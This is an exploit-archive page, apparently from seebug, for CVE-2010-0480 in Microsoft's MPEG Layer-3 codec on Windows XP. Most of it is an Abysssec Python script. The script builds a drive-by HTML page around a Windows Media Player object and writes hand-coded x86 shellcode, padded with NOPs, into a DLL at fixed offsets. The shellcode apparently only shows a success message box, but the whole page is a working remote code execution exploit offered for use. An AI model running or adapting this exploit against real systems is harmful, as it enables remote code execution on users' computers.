Microsoft MPEG Layer-3 Remote Command Execution Exploit

2010-09-0600:00:00

Root

www.seebug.org

0.963 High

EPSS

Percentile

99.4%

JSON

No description provided by source.


                                                '''
  Title               :  Microsoft MPEG Layer-3 Remote Command Execution Exploit
  Version             :  l3codeca.acm (XP SP2 / XP SP3)
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.microsoft.com
  Impact              :  Ciritical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec
  CVE                 :  CVE-2010-0480
 
'''
 
import sys
import struct
def main():
    
    try:
        strHTML = '''
        &lt;html&gt;
        &lt;head&gt;
        &lt;/head&gt;
        &lt;body&gt;
        &lt;object classID=&quot;exploit.dll#exploit.Shellcode&quot;&gt;&lt;/object&gt;
        &lt;OBJECT ID=&quot;MediaPlayer&quot; CLASSID=&quot;CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95&quot; CODEBASE=&quot;http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab# Version=5,1,52,701&quot; STANDBY=&quot;Loading Microsoft Windows Media Player components...&quot; TYPE=&quot;application/x-oleobject&quot; width=&quot;280&quot; height=&quot;46&quot;&gt;
        &lt;param name=&quot;fileName&quot; value=&quot;test.avi&quot;&gt;
        &lt;param name=&quot;animationatStart&quot; value=&quot;true&quot;&gt;
        &lt;param name=&quot;transparentatStart&quot; value=&quot;true&quot;&gt;
        &lt;param name=&quot;autoStart&quot; value=&quot;true&quot;&gt;
        &lt;param name=&quot;showControls&quot; value=&quot;true&quot;&gt;
        &lt;param name=&quot;Volume&quot; value=&quot;-300&quot;&gt;
        &lt;embed type=&quot;application/x-mplayer2&quot; pluginspage=&quot;http://www.microsoft.com/Windows/MediaPlayer/&quot; src=&quot;test.avi&quot; name=&quot;MediaPlayer&quot; width=280 height=46  autostart=1 showcontrols=1 volume=-300&gt;
        &lt;/embed&gt;
        &lt;/OBJECT&gt;
        &lt;/body&gt;
        &lt;/html&gt; '''
        fHTML = open('index.html', 'w')
        fHTML.write(strHTML)
        fHTML.close()
        fdR = open('exploit.dll', 'rb+')
        strTotal = fdR.read()
        str1 = strTotal[:1380]
        str2 = strTotal[2115:]
        shellcode = '\xEB\x6B\x5A\x31\xC9\x6A\x10\x52\x42\x52\x51\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xFF\xD7\x50\x68\xA8\xA2\x4D\xBC\xFF\xD6\xE8\xDA\xFF\xFF\xFF\x00\x54\x68\x65\x20\x65\x78\x70\x6C\x6F\x69\x74\x20\x77\x61\x73\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x21\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\xE8\xB3\xFF\xFF\xFF\x55\x53\x45\x52\x33\x32\x00\xE8\xD3\xFF\xFF\xFF\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08\x00'
         
        if len(shellcode) &gt; 735:
            print &quot;[*] Error : Shellcode length is long&quot;
            return
        if len(shellcode) &lt;= 735:
            dif = 735 - len(shellcode)
            while dif &gt; 0 :
                shellcode += '\x90'
                dif = dif - 1
        fdW= open('exploit.dll', 'wb+')
        fdW.write(str1)
        fdW.write(shellcode)
        fdW.write(str2)
        fdW.close()
        fdR.close()
        print '[-] Html file generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                 
if __name__ == '__main__':
    main()